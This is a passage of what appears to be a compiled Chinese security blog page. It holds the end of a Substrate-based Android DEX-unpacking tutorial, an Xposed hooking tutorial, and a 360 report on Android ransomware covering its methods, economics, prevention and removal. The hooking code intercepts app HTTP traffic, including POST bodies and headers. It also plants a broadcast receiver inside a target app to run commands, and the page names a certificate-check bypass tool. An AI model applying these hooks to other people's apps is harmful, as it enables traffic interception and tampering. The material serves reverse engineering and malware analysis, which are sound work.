**)&oldDexFileParse); } } else{ LOGD("ERROR FIND LIBDVM"); } }
效果如下:
shell@hammerhead:/sdcard $ l |grep dex app_process_classes_3220.dex com.ali.tg.testapp_classes_606716.dex com.chaozh.iReaderFree_classes_4673256.dex com.secken.app_xg_service_v2_classes_6327832.dex

脱壳机模块改进一
更改 hook 点为 dexFileParse,上文已经讲解了为啥也可以选择这里.也分析了 dex 优化的过程,这里在分析下 dex 加载的过程. DexClassLoader广泛被开发者用于插件的动态加载.而PathClassLoader几乎没怎么见过. 因为PathClassLoader 没有提供优化 dex 的目录而是固定将 odex 存放到 /data/dalvik-cache 中 ,故它只能加载已经安装到 Android 系统中的 apk 文件,也就是 /data/app 目录下的 apk 文件. PathClassLoader 和 DexClassLoader 父类为 BaseDexClassLoader http://androidxref.com/4.4.2_r1/xref/libcore/dalvik/src/main/java/dalvik/system/BaseDexClassLoader.java
#!c 45 public BaseDexClassLoader(String dexPath, File optimizedDirectory, String libraryPath, ClassLoader parent) {
http://androidxref.com/4.4.2_r1/xref/libcore/dalvik/src/main/java/dalvik/system/DexPathList.java
#!c DexPathList(this, dexPath, libraryPath, optimizedDirectory); 260 private static DexFile loadDexFile(File file, File optimizedDirectory)
http://androidxref.com/4.4.2_r1/xref/libcore/dalvik/src/main/java/dalvik/system/DexFile.java
#!c 141 static public DexFile loadDex(String sourcePathName, String outputPathName, int flags)
调用 native 函数 native private static int openDexFileNative(String sourceName, String outputName, int flags)
#!c 294 private static int openDexFile(String sourceName, String outputName, 295 int flags) throws IOException { 296 return openDexFileNative(new File(sourceName).getCanonicalPath(), 297 (outputName == null) ? null : new File(outputName).getCanonicalPath(), 298 flags); 299 }
http://androidxref.com/4.4.2_r1/xref/dalvik/vm/native/dalvik_system_DexFile.cpp
#!c 151 static void Dalvik_dalvik_system_DexFile_openDexFileNative(const u4* args, JValue* pResult) //249 static void Dalvik_dalvik_system_DexFile_openDexFile_bytearray(const u4* args, JValue* pResult)
http://androidxref.com/4.4.2_r1/xref/dalvik/vm/RawDexFile.cpp
#!c 109 int dvmRawDexFileOpen(const char* fileName, const char* odexOutputName, RawDexFile** ppRawDexFile, bool isBootstrap) //工具类方法打开DEX文件/Jar文件
http://androidxref.com/4.4.4_r1/xref/dalvik/vm/DvmDex.cpp
#!c 93 int dvmDexFileOpenFromFd(int fd, DvmDex** ppDvmDex) //从一个打开的DEX文件,映射到只读共享内存并且解析内容 //146 int dvmDexFileOpenPartial(const void* addr, int len, DvmDex** ppDvmDex) //通过地址和长度打开部分DEX文件
http://androidxref.com/4.4.4_r1/xref/dalvik/libdex/DexFile.cpp
#!c 289 dexFileParse(const u1* data, size_t length, int flags) //解析dex文件

方法openDexFile里通过dvmDexFileOpenFromFd函数调用dexFileParse函数,分析Dex文件里每个类名称和类的代码所在索引,然后dexFileParse调用函数dexParseOptData来把类名称写对象pDexFile->pClassLookup里面,当然也更新了索引


#!c //Substrate entry point MSInitialize { LOGD("Cydia Init"); MSImageRef image; //载入lib image = MSGetImageByName("/system/lib/libdvm.so"); if (image != NULL) { void * dexload=MSFindSymbol(image,"_Z12dexFileParsePKhji"); if(dexload==NULL) { LOGD("error find _Z12dexFileParsePKhji"); } else{ //替换函数 //3.MSHookFunction MSHookFunction(dexload,(void*)&myDexFileParse,(void **)&oldDexFileParse); } } else{ LOGD("ERROR FIND LIBDVM"); } }

脱壳机模块改进二

- 加入encode 优化输出 ...
github 地址如下,里面已经有一个编译好但是没有签名的 apk 了...
http://burningcodes.net/%E4%BB%8E%E6%BA%90%E7%A0%81%E4%B8%AD%E8%B7%9F%E8%B8%AAdex%E7%9A%84%E5%8A%A0%E8%BD%BD%E6%B5%81%E7%A8%8B/

http://www.52pojie.cn/thread-293648-1-1.html

http://nazcalines.github.io/blog/2015/07/15/Android%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0%E2%80%94%E2%80%94dex%E6%96%87%E4%BB%B6%E7%9A%84%E4%BC%98%E5%8C%96%E8%A7%A3%E6%9E%90%E5%8F%8A%E8%A3%85%E8%BD%BD.html

http://blog.csdn.net/roland_sun/article/details/47183119

http://bbs.pediy.com/showthread.php?t=199230

http://blog.csdn.net/androidsecurity/article/details/9674251

前言


https://github.com/rovo89/XposedBridge/wiki/Development-tutorial

http://repo.xposed.info/module/de.robv.android.xposed.installer

http://dl-xda.xposed.info/modules/de.robv.android.xposed.installer_v33_36570c.apk

https://github.com/rovo89/XposedInstaller

模块基本开发流程

1.创建工程android4.0.3(api15,测试发现其他版本也可以),可以不用activity 2.修改AndroidManifest.xml

3.在工程目录下新建一个lib文件夹,将下载好的XposedBridgeApi-54.jar包放入其中. eclipse 在工程里 选中XposedBridgeApi-54.jar 右键–Build Path–Add to Build Path. IDEA 鼠标右键点击工程,选择Open Module Settings,在弹出的窗口中打开Dependencies选项卡.把XposedBridgeApi这个jar包后面的Scope属性改成provided. 4.模块实现接口
#!java package de.robv.android.xposed.mods.tutorial; import de.robv.android.xposed.IXposedHookLoadPackage; import de.robv.android.xposed.XposedBridge; import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; public class Tutorial implements IXposedHookLoadPackage { public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { XposedBridge.log("Loaded app: " + lpparam.packageName); } }
5.入口assets/xposed_init配置,声明需要加载到 XposedInstaller 的入口类:
#!java de.robv.android.xposed.mods.tutorial.Tutorial //完整类名:包名+类名
6.定位要hook的api
- 反编译目标程序,查看Smali代码 直接在AOSP(android源码)中查看
7.XposedBridge to hook it
- 指定要 hook 的包名 判断当前加载的包是否是指定的包 指定要 hook 的方法名 实现beforeHookedMethod方法和afterHookedMethod方法
示例如下:
#!java package de.robv.android.xposed.mods.tutorial; import static de.robv.android.xposed.XposedHelpers.findAndHookMethod; import de.robv.android.xposed.IXposedHookLoadPackage; import de.robv.android.xposed.XC\_MethodHook; import de.robv.android.xposed.callbacks.XC\_LoadPackage.LoadPackageParam; public class Tutorial implements IXposedHookLoadPackage { public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { if (!lpparam.packageName.equals("com.android.systemui")) return; findAndHookMethod("com.android.systemui.statusbar.policy.Clock", lpparam.classLoader, "updateClock", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { // this will be called before the clock was updated by the original method } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { // this will be called after the clock was updated by the original method } }); } }
重写XC_MethodHook的两个方法beforeHookedMethod和afterHookedMethod,这两个方法会在原始的方法的之前和之后执行.您可以使用beforeHookedMethod 方法来打印/篡改方法调用的参数(通过param.args) ,甚至阻止调用原来的方法(发送自己的结果).afterHookedMethod 方法可以用来做基于原始方法的结果的事情.您还可以用它来操纵结果 .当然,你可以添加自己的代码,它将会准确地在原始方法的前或后执行.
关键API

IXposedHookLoadPackage
handleLoadPackage : 这个方法用于在加载应用程序的包的时候执行用户的操作 调用示例
#!java public class XposedInterface implements IXposedHookLoadPackage { public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { XposedBridge.log("Kevin-Loaded app: " + lpparam.packageName); } }
参数说明|final LoadPackageParam lpparam 这个参数包含了加载的应用程序的一些基本信息。
XposedHelpers
findAndHookMethod ;这是一个辅助方法,可以通过如下方式静态导入:
#!java import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
使用示例
#!java findAndHookMethod("com.android.systemui.statusbar.policy.Clock", lpparam.classLoader, "handleUpdateClock", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { // this will be called before the clock was updated by the original method } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { // this will be called after the clock was updated by the original method } });
参数说明
findAndHookMethod(Classclazz, //需要Hook的类名 ClassLoader, //类加载器,可以设置为 null String methodName, //需要 Hook 的方法名 Object... parameterTypesAndCallback
该函数的最后一个参数集,包含了: (1)Hook 的目标方法的参数,譬如:
"com.android.internal.policy.impl.PhoneWindow.DecorView"
是方法的参数的类。 (2)回调方法:
a.XC_MethodHook b.XC_MethodReplacement

模块开发中的一些细节
1.Dalvik 孵化器 Zygote (Android系统中,所有的应用程序进程以及系统服务进程SystemServer都是由Zygote进程孕育/fork出来的)进程对应的程序是/system/bin/app_process. Xposed 框架中真正起作用的是对方法的 hook。
#!java 因为 Xposed 工作原理是在/system/bin 目录下替换文件,在 install 的时候需要 root 权限,但是运行时不需要 root 权限。
2.log 统一管理,tag 显示包名
#!java Log.d(MYTAG+lpparam.packageName, "hello" + lpparam.packageName);
3.植入广播接收器,动态执行指令
#!java findAndHookMethod("android.app.Application", lpparam.classLoader, "onCreate", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { Context context = (Context) param.thisObject; IntentFilter filter = new IntentFilter(myCast.myAction); filter.addAction(myCast.myCmd); context.registerReceiver(new myCast(), filter); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); } });
4.context 获取
#!java fristApplication = (Application) param.thisObject;
5.注入点选择 application oncreate 程序真正启动函数而是 MainActivity 的 onCreate (该类有可能被重写,所以通过反射得到 oncreate 方法)
#!java String appClassName = this.getAppInfo().className; if (appClassName == null) { Method hookOncreateMethod = null; try { hookOncreateMethod = Application.class.getDeclaredMethod("onCreate", new Class
{}); } catch (NoSuchMethodException e) { e.printStackTrace(); } hookhelper.hookMethod(hookOncreateMethod, new ApplicationOnCreateHook());
6.排除系统 app,排除自身,确定主线程
#!java if(lpparam.appInfo == null || (lpparam.appInfo.flags & (ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP)) !=0){ return; }else if(lpparam.isFirstApplication && !ZJDROID_PACKAGENAME.equals(lpparam.packageName)){
7.hook method
#!java Only methods and constructors can be hooked,Cannot hook interfaces,Cannot hook abstract methods 只能 hook 方法和构造方法,不能 hook 接口和抽象方法 抽象类中的非抽象方法是可以 hook的, 接口中的方法不能 hook (接口中的method默认是public abstract 抽象的.field 必须是public static final)
8.参数中有 自定义类
#!java public void myMethod (String a, MyClass b) 通过反射得到自定义类,也可以用
(https://github.com/rovo89/XposedBridge/wiki/Helpers#class-xposedhelpers)封装好的方法findMethod/findConstructor/callStaticMethod....
9.注入后反射自定义类
#!java Class hookMessageListenerClass = null; hookMessageListenerClass = lpparam.classLoader.loadClass("org.jivesoftware.smack.MessageListener"); findAndHookMethod("org.jivesoftware.smack.ChatManager", lpparam.classLoader, "createChat", String.class , hookMessageListenerClass ,new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String sendTo = (String) param.args
; Log.i(tag , "sendTo : + " + sendTo ); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); } });
10.hook 一个类的方法,该类是子类并且没有重写父类的方法,此时应该 hook 父类还是子类.(hook 父类方法后,子类若没重写,一样生效.子类重写方法需要另外 hook) (如果子类重写父类方法时候加上 spuer ,hook 父类依旧有效)
例如 java.net.HttpURLConnection extends URLConnection ,
方法在父类
#!java public OutputStream getOutputStream() throws IOException { throw new UnknownServiceException("protocol doesn't support output"); } org.apache.http.impl.client.AbstractHttpClient extends CloseableHttpClient ,

方法在父类(注意,android的继承的 AbstractHttpClient implements org.apache.http.client.HttpClient)

#!java public CloseableHttpResponse execute( final HttpHost target, final HttpRequest request, final HttpContext context) throws IOException, ClientProtocolException { return doExecute(target, request, context); } android.async.http复写HttpGet导致zjdroid hook org.apache.http.impl.client.AbstractHttpClient execute 无法获取到请求 url和method
11.hook 构造方法
#!java public static XC_MethodHook.Unhook findAndHookConstructor(String className, ClassLoader classLoader, Object... parameterTypesAndCallback) { return findAndHookConstructor(findClass(className, classLoader), parameterTypesAndCallback); }
12.承接4,application 的onCreate 方法被重写,例如阿里的壳,重写为原生 native 方法. 解1:通过反射到 application 类重写后的 onCreate 方法再对该方法进行hook 解2:hook 构造方法(构造方法被重写,继续解1) 13.native 方法可以 hook,不过是在 java 层调用时hook而不是 hook 动态链接库.

实战Hook android 中可能的出现 HTTP 请求

首先确定http 请求的 api,大致分为: apache 提供的 HttpClient 1) 创建 HttpClient 以及 GetMethod / PostMethod, HttpRequest等对象; 2) 设置连接参数; 3) 执行 HTTP 操作; 4) 处理服务器返回结果. java 提供的 HttpURLConnection 1) 创建 URL 以及 URLConnection / HttpURLConnection 对象 2) 设置连接参数 3) 连接到服务器 4) 向服务器写数据 5) 从服务器读取数据 android 提供的 webview 第三方库:volley/android-async-http/xutils (本质是对前两种的方式的延伸,方法的重写可能对接下来的 hook 产生影响) 不太了解 java 的 hook 前可以先看下基础的代码:
http://www.codefrom.com/paper/Android%20Http%E8%AF%B7%E6%B1%82%E4%B8%A4%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%B1%BB%28HttpClient.HttpURLConnection%29
对 HttpClient的 hook 可以参考 贾志军大牛的
Zjdroid:|https://wooyun.js.org/drops/Android.Hook%E6%A1%86%E6%9E%B6xposed%E7%AF%87(Http%E6%B5%81%E9%87%8F%E7%9B%91%E6%8E%A7).html

#!java Method executeRequest = RefInvoke.findMethodExact("org.apache.http.impl.client.AbstractHttpClient", ClassLoader.getSystemClassLoader(), "execute", HttpHost.class, HttpRequest.class, HttpContext.class); hookhelper.hookMethod(executeRequest, new AbstractBahaviorHookCallBack() { @Override public void descParam(HookParam param) { // TODO Auto-generated method stub Logger.log_behavior("Apache Connect to URL ->"); HttpHost host = (HttpHost) param.args
; HttpRequest request = (HttpRequest) param.args
; if (request instanceof org.apache.http.client.methods.HttpGet) { org.apache.http.client.methods.HttpGet httpGet = (org.apache.http.client.methods.HttpGet) request; Logger.log_behavior("HTTP Method : " + httpGet.getMethod()); Logger.log_behavior("HTTP GET URL : " + httpGet.getURI().toString()); Header
headers = request.getAllHeaders(); if (headers != null) { for (int i = 0; i < headers.length; i++) { Logger.log_behavior(headers
.getName() + ":" + headers
.getName()); } } } else if (request instanceof HttpPost) { HttpPost httpPost = (HttpPost) request; Logger.log_behavior("HTTP Method : " + httpPost.getMethod()); Logger.log_behavior("HTTP URL : " + httpPost.getURI().toString()); Header
headers = request.getAllHeaders(); if (headers != null) { for (int i = 0; i < headers.length; i++) { Logger.log_behavior(headers
.getName() + ":" + headers
.getValue()); } } HttpEntity entity = httpPost.getEntity(); String contentType = null; if (entity.getContentType() != null) { contentType = entity.getContentType().getValue(); if (URLEncodedUtils.CONTENT_TYPE.equals(contentType)) { try { byte
data = new byte
; entity.getContent().read(data); String content = new String(data, HTTP.DEFAULT_CONTENT_CHARSET); Logger.log_behavior("HTTP POST Content : " + content); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } else if (contentType.startsWith(HTTP.DEFAULT_CONTENT_TYPE)) { try { byte
data = new byte
; entity.getContent().read(data); String content = new String(data, contentType.substring(contentType.lastIndexOf("=") + 1)); Logger.log_behavior("HTTP POST Content : " + content); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }else{ byte
data = new byte
; try { entity.getContent().read(data); String content = new String(data, HTTP.DEFAULT_CONTENT_CHARSET); Logger.log_behavior("HTTP POST Content : " + content); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } } @Override public void afterHookedMethod(HookParam param) { // TODO Auto-generated method stub super.afterHookedMethod(param); HttpResponse resp = (HttpResponse) param.getResult(); if (resp != null) { Logger.log_behavior("Status Code = " + resp.getStatusLine().getStatusCode()); Header
headers = resp.getAllHeaders(); if (headers != null) { for (int i = 0; i < headers.length; i++) { Logger.log_behavior(headers
.getName() + ":" + headers
.getValue()); } } } } });
对 HttpURLConnection 的 hook Zjdroid 未能提供完美的解决方案,想要取得除了 URL 之外的 data 字段必须对I/O流操作.
#!java Method openConnectionMethod = RefInvoke.findMethodExact("java.net.URL", ClassLoader.getSystemClassLoader(), "openConnection"); hookhelper.hookMethod(openConnectionMethod, new AbstractBahaviorHookCallBack() { @Override public void descParam(HookParam param) { // TODO Auto-generated method stub URL url = (URL) param.thisObject; Logger.log_behavior("Connect to URL ->"); Logger.log_behavior("The URL = " + url.toString()); } });
我采取的临时解决方法是对I/O 进行正则匹配,类似 url 的 data 字段就打印出来,代码如下(这段代码只能解决前文 HttpUtils而且会有误报,大家有啥好想法欢迎指点一二)
#!java findAndHookMethod("java.io.PrintWriter", lpparam.classLoader, "print",String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String print = (String) param.args
; Pattern pattern = Pattern.compile("(\\w+=.*)"); Matcher matcher = pattern.matcher(print); if (matcher.matches()) Log.i(tag+lpparam.packageName,"data : " + print); //Log.d(tag,"A :" + print); } });
因为Android-async-http重写了 HttpGet 导致 Zjdroidhook 失败(未进入 HttpGet 和 HttpPost 的判读),加入一个else 语句就可以解决这个问题
#!java else { HttpEntityEnclosingRequestBase httpGet = (HttpEntityEnclosingRequestBase) request; HttpEntity entity = httpGet.getEntity(); Logger.log_behavior("HttpRequestBase URL : " + httpGet.getURI().toString()); Header
headers = request.getAllHeaders(); if (headers != null) { for (int i = 0; i < headers.length; i++) { Logger.log_behavior(headers
.getName() + ":" + headers
.getName()); } } if(entity!= null){ try { String content = EntityUtils .toString(entity); Logger.log_behavior("HTTP entity Content : " + content); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }

一些常用工具

- zjdroid:脱壳/api监控 justTrustMe:忽略证书效验 IntentMonitor:可以监控显/隐意图 intent Xinstaller:设置应用/设备属性... XPrivacy:权限管理

摘要


- 手机勒索软件是一种通过锁住用户移动设备,使用户无法正常使用设备,并以此胁迫用户支付解锁费用的恶意软件。其表现为手机触摸区域不响应触摸事件,频繁地强制置顶页面无法切换程序和设置手机PIN码。 手机勒索软件的危害除了勒索用户钱财,还会破坏用户数据和手机系统。 手机勒索软件最早从仿冒杀毒软件发展演变而来,2014年5月Android平台首个真正意义上的勒索样本被发现。 截至2016年第一季度,勒索类恶意软件历史累计感染手机接近90万部,从新增感染手机数据看,2015年第三季度新增感染手机接近35万部。 截至2016年第一季度,共捕获手机勒索类恶意样本7.6万余个。其中国外增长迅速,在2015年第三季度爆发式增长,季度捕获量接近2.5万个;国内则稳步上升。 国外最常伪装成色情视频、Adobe Flash Player和系统软件更新;国内则最常伪装成神器、外挂及各种刷钻、刷赞、刷人气的软件。 从手机勒索软件的技术原理看,锁屏主要利用构造特殊的悬浮窗、Activity劫持、屏蔽虚拟按键、设置手机PIN码和修改系统文件。解锁码生成方式主要是通过硬编码、序列号计算、序列号对应。解锁方法除了直接填写解锁码,还能够通过短信、联网和解锁工具远程控制解锁。 制作方面,主要使用合法的开发工具AIDE,通过QQ交流群、教学资料、收徒传授的方式进行指导。 传播方面,主要通过QQ群、受害者、贴吧、网盘等方式传播。 制马人通过解锁费、进群费、收徒费等方式获取非法所得,日收益在100到300元不等,整个产业链收益可达千万元。 从制马人人群特点看,年龄分布呈现年轻化,集中在90后和00后。一方面自己制作勒索软件;另一方面又通过收徒的方式像传销一样不断发展下线。 从被敲诈者人人群特点看,主要是一些经常光顾贴吧,以及希望得到各种“利器”、“外挂”的游戏QQ群成员。 从预防的角度,可以通过软件大小、名称、权限等方式进行甄别,同时需要提高个人安全意识,养成良好的使用手机习惯。 在清除方法上,可以通过重启、360手机急救箱、安全模式、ADB命令、刷机等多种方案解决。

Android平台勒索软件介绍


一、勒索软件定义
手机勒索软件是一种通过锁住用户移动设备,使用户无法正常使用设备,并以此胁迫用户支付解锁费用的恶意软件【1】。
二、勒索软件表现形式
1)主要通过将手机触摸屏部分或虚拟按键的触摸反馈设置为无效,使触摸区域不响应触摸事件。
p1

p2

p3

p4

p5

p6
2)频繁地强制置顶页面,造成手机无法正常切换应用程序。
p7
3)设置手机锁定PIN码,无法解锁进入手机系统。
p8

p9

p10

p11

三、勒索软件的危害
1)敲诈勒索用户钱财 2)加密手机文件,破坏用户数据
p12
3)清除手机应用,破坏手机系统
p13

四、勒索软件历史演变

p14

- 2013年06月Android.Fakedefender【2】,仿冒杀毒软件恐吓用户手机存在恶意软件要求付费并且顶置付费提示框导致无法清除。 2014年05月Android.Koler【3】,Android平台首个真正意义上的勒索样本。 2014年06月Android.Simplocker【4】,首个文件加密并且利用洋葱网络的勒索样本。 2014年06月Android.TkLocker【5】,360发现首个国内恶作剧锁屏样本。 2014年07月Android.Cokri【6】,破坏手机通讯录信息及来电功能的勒索样本。 2014年09月Android.Elite【7】,清除手机数据并且群发短信的锁屏样本。 2015年05月Android.DevLocker【8】,360发现国内出现首个设置PIN码的勒索样本。 2015年09月Android.Lockerpin【9】,国外出现首个设置PIN码的勒索样本。

Android平台勒索软件现状


一、勒索类恶意样本感染量
截至2016年第一季度,勒索类恶意软件历史累计感染手机接近90万部,通过对比2015到2016年季度感染变化趋势,可以看出2015年第三季度新增感染手机接近35万部。
p15

二、勒索类恶意样本数量
截至2016年第一季度,共捕获勒索类恶意样本7.6万余个,通过对比2015到2016年季度变化情况,可以看出国外勒索类恶意软件增长迅速,并且在2015年第三季度爆发式增长,季度捕获量接近2.5万个;反观国内勒索类恶意软件增长趋势,虽然没有爆发式增长,但是却呈现出稳步上升的趋势。
p16

三、常见伪装对象
对比国内外勒索类恶意软件最常伪装的软件名称可以看出,国外勒索类恶意软件最常伪装成色情视频、Adobe Flash Player和系统软件更新这类软件。而国内勒索类恶意软件最常伪装成神器、外挂及各种刷钻、刷赞、刷人气的软件,这类软件往往利用了人与人之间互相攀比的虚荣心和侥幸心理。
p17

四、用户损失估算
2015年全年国内超过11.5万部用户手机被感染,2016年第一季度国内接近3万部用户手机被感染。每个勒索软件的解锁费用通常为20、30、50元不等,按照每位用户向敲诈者支付30元解锁费用计算,2015年国内用户因此遭受的损失达到345万元,2016年第一季度国内用户因此遭受的损失接近90万。

Android平台勒索软件技术原理


一、锁屏技术原理
1)利用WindowManager.LayoutParams的flags属性 通过addView方法实现一个悬浮窗,设置WindowManager.LayoutParams的flags属性,例如,“FLAG_FULLSCREEN”、“FLAG_LAYOUT_IN_SCREEN”配合“SYSTEM_ALERT_WINDOW”的权限,使这个悬浮窗全屏置顶且无法清除,造成手机屏幕锁屏无法正常使用。
p18
2)利用Activity劫持 通过TimerTask定时监控顶层Activity,如果检测到不是自身程序,便会重新启动并且设置addFlags值为“FLAG_ACTIVITY_NEW_TASK”覆盖原来程序的Activity,从而利用Activity劫持手段,达到勒索软件页面置顶的效果,同时结束掉原来后台进程。目前Android5.0以上的版本已经采取了保护机制来阻止这种攻击方式,但是5.0以下的系统仍然占据绝大部分。
p19
3)屏蔽虚拟按键 通过改写onKeyDown方法,屏蔽返回键、音量键、菜单键等虚拟按键,造成不响应按键动作的效果,来达到锁屏的目的。
p20
4)利用设备管理器设置解锁PIN码 通过诱导用户激活设备管理器,勒索软件会在用户未知情的情况下强制给手机设置一个解锁PIN码,导致用户无法解锁手机。
p21
5)利用Root权限篡改系统文件 如果手机之前设置了解锁PIN码,勒索软件通过诱导用户授予Root权限,篡改/data/system/password.key文件,在用户不知情的情况下设置新的解锁PIN码替换旧的解锁PIN码,达到锁屏目的。
p22

二、解锁码生成方式
1)解锁码硬编码在代码里 有些勒索软件将解锁码硬编码在代码里,这类勒索软件解锁码唯一,且没有复杂的加密或计算逻辑,很容易找到解锁码,比较简单。
p23
2)解锁码通过序列号计算 与硬编码的方式相比,大部分勒索软件在页面上都显示了序列号,它是恶意软件作者用来标识被锁住的移动设备编号。一部分勒索软件解锁码是通过序列号计算得出,例如下图中的fkey代表序列号,是一个随机生成的数;key代表解锁码,解锁码是序列号*3-98232计算得出。这仅是一个简单的计算例子,这种方式解锁码随序列号变化而变化,解锁码不唯一并且可以使用复杂的计算逻辑。
p24
3)解锁码与序列号键值对关系 还有一部分勒索软件,解锁码与序列号都是随机生成,使用键值对的方式保留了序列号和解锁码的对应关系。这种方式序列号与解锁码没有计算关系,解锁码会经过各种加密变换,通过邮件等方式回传解锁码与序列号的对应关系。
p25

三、常见解锁方法
1)直接输入解锁码解锁 用户通过付给敲诈者钱来换取设备的解锁码。将解锁码直接输入在勒索页面里来解锁屏幕,这是最常见的勒索软件的解锁方式之一。 2)利用短信控制解锁 短信控制解锁方式,就是通过接收指定的短信号码或短信内容远程解锁,这种解锁方式会暴露敲诈者使用的手机号码。
p26
3)利用联网控制解锁 敲诈者为了隐藏自身信息,会使用如洋葱网络等匿名通信技术远程控制解锁。这种技术最初是为了保护消息发送者和接受者的通信隐私,但是被大量的恶意软件滥用。
p27
4)利用解锁工具解锁 敲诈者为了方便进行勒索,甚至制作了勒索软件配套的解锁控制端。
p28

Android平台勒索软件黑色产业链

本章主要从Android平台勒索软件的制作、传播、收益角度及制马人和被敲诈的人群特点,重点揭露其在国内的黑色产业链。
一、制作
(一)制作工具 国内大量的锁屏软件都使用合法的开发工具AIDE,AIDE是Android环境下的开发工具,这种开发工具不需要借助电脑,只需要在手机上操作,便可以完成Android样本的代码编写、编译、打包及签名全套开发流程。制马人使用开发工具AIDE只需要对源码中代表QQ号码的字符串进行修改,便可以制作成一个新的勒索软件。 因为这种工具操作简单方便,开发门槛低,变化速度快,使得其成为制马人开发勒索软件的首选。
p29
(二)交流群 通过我们的调查发现,制马人大多使用QQ群进行沟通交流,在QQ群查找里输入“Android锁机”等关键字后,就能够找到很多相关的交流群。
p30
图是某群的群主在向群成员炫耀自己手机中保存的锁机源码
p31
(三)教学资料 制作时不仅有文字资料可以阅读,同时在某些群里还提供了视频教程,可谓是“图文并茂” 锁机教程在线视频
p32
锁机软件教程
p33
(四)收徒传授 在群里,群主还会以“收徒”的方式教授其他人制作勒索软件,在扩大自己影响力的同时,也能够通过这种方式获取利益。
p34

二、传播
通过我们的调查研究,总结出了国内勒索软件传播示意图
p35
制马人通过QQ群、受害者、贴吧、网盘等方式,来传播勒索软件。 (一)QQ群 制马人通过不断加入各种QQ群,在群共享中上传勒索软件,以“外挂”、“破解”、“刷钻”等各种名义诱骗群成员下载,以达到传播的目的。
p36
(二)借助受害者 当有受害者中招时,制马人会要求受害者将勒索软件传播到更多的QQ群中,以作为换取解锁的条件。
p37
(三)贴吧 制马人在贴吧中以链接的方式传播。
p38
(四)网盘 制马人将勒索软件上传到网盘中,再将网盘链接分享到各处,以达到传播的目的。
p39

三、收益
通过我们的调查研究,总结出了国内勒索软件产业链的资金流向示意图
p40
制马人主要通过解锁费、进群费、收徒费等方式获取非法所得,日收益在100到300元不等。 (一)收益来源 解锁费
p41
进群费
p42
收徒费
p43
(二)日均收益 制马人通过勒索软件的日收益在100到300元不等
p44

p45
(三)产业链收益 2015年全年国内超过11.5万部用户手机被感染,2016年第一季度国内接近3万部用户手机被感染。每个勒索软件的解锁费用通常为20、30、50元不等,按照每个勒索软件解锁费用30元计算,2015年国内Android平台勒索类恶意软件产业链年收益达到345万元,2016年第一季度接近90万。国内Android平台勒索类恶意软件历史累计感染手机34万部,整个产业链收益超过了千万元,这其中还不包括进群和收徒费用的收益。
四、制马人人群特点
(一)制马人年龄分布 从抽取的几个传播群中的人员信息可以看出,制马人的年龄分布呈现年轻化,集中在90后和00后。
p46
(二)制马人人员架构 绝大多数制马人既扮演着制作者,又扮演着传播者的角色。他们一方面自己制作勒索软件,再以各种方式进行传播;另一方面又通过收徒的方式像传销一样不断发展下线,使制马人和传播者的人数不断增加,勒索软件的传播范围更广。
p47
这群人之所以肆无忌惮制作、传播勒索软件进行勒索敲诈,并且大胆留下自己的QQ、微信以及支付宝账号等个人联系方式,主要是因为他们年龄小,法律意识淡薄,认为涉案金额少,并没有意识到触犯法律。甚至以此作为赚钱手段,并作为向他人进行炫耀的资本。
五、被敲诈人人群特点
通过一些被敲诈的用户反馈,国内敲诈勒索软件感染目标人群,主要是针对一些经常光顾贴吧的人,以及希望得到各种“利器”、“外挂”的游戏QQ群成员。这类人绝大多数是90后或00后用户,抱有不花钱使用破解软件或外挂的侥幸心理,或者为了满足互相攀比的虚荣心,容易被一些带有“利器”、“神器”、“刷钻”、“刷赞”、“外挂”等名称的软件吸引,从而中招。

Android平台勒索软件的预防


一、勒索软件识别方法
1)软件大小 安装软件时观察软件包的大小,这类勒索软件都不会太大,通常不会超过1M。 2)软件名称 多数勒索软件都会伪装成神器、外挂及各种刷钻、刷赞、刷人气的软件。 3)软件权限 多数勒索软件会申请“SYSTEM_ALERT_WINDOW”权限或者诱导激活设备管理器,需要在安装和使用时留意。
二、提高个人安全意识
1)可信软件源 建议用户在选择应用下载途径时,应该尽量选择大型可信站点,如360手机助手、各软件官网等。 2)安装安全软件 建议用户手机中安装安全软件,实时监控手机安装的软件,如360手机卫士。 3)数据备份 建议用户日常定期备份手机中的重要数据,比如通讯录、照片、视频等,避免手机一旦中招,给用户带来的巨大损失。 4)拒绝诱惑 建议用户不要心存侥幸,被那些所谓的能够“外挂”、“刷钻”、“破解”软件诱惑,这类软件绝大部分都是假的,没有任何功能,只是为了吸引用户中招。 5)正确的解决途径 一旦用户不幸中招,建议用户不要支付给敲诈者任何费用,避免助涨敲诈者的嚣张气焰。用户可以向专业的安全人员或者厂商寻求解决方法。

Android平台勒索软件清除方案


一、手机重启
手机重启后快速对勒索软件进行卸载删除是一种简单便捷的清除方法,但这种方法取决于手机运行环境和勒索软件的实现方法,仅可以对少部分勒索软件起作用。
二、360手机急救箱
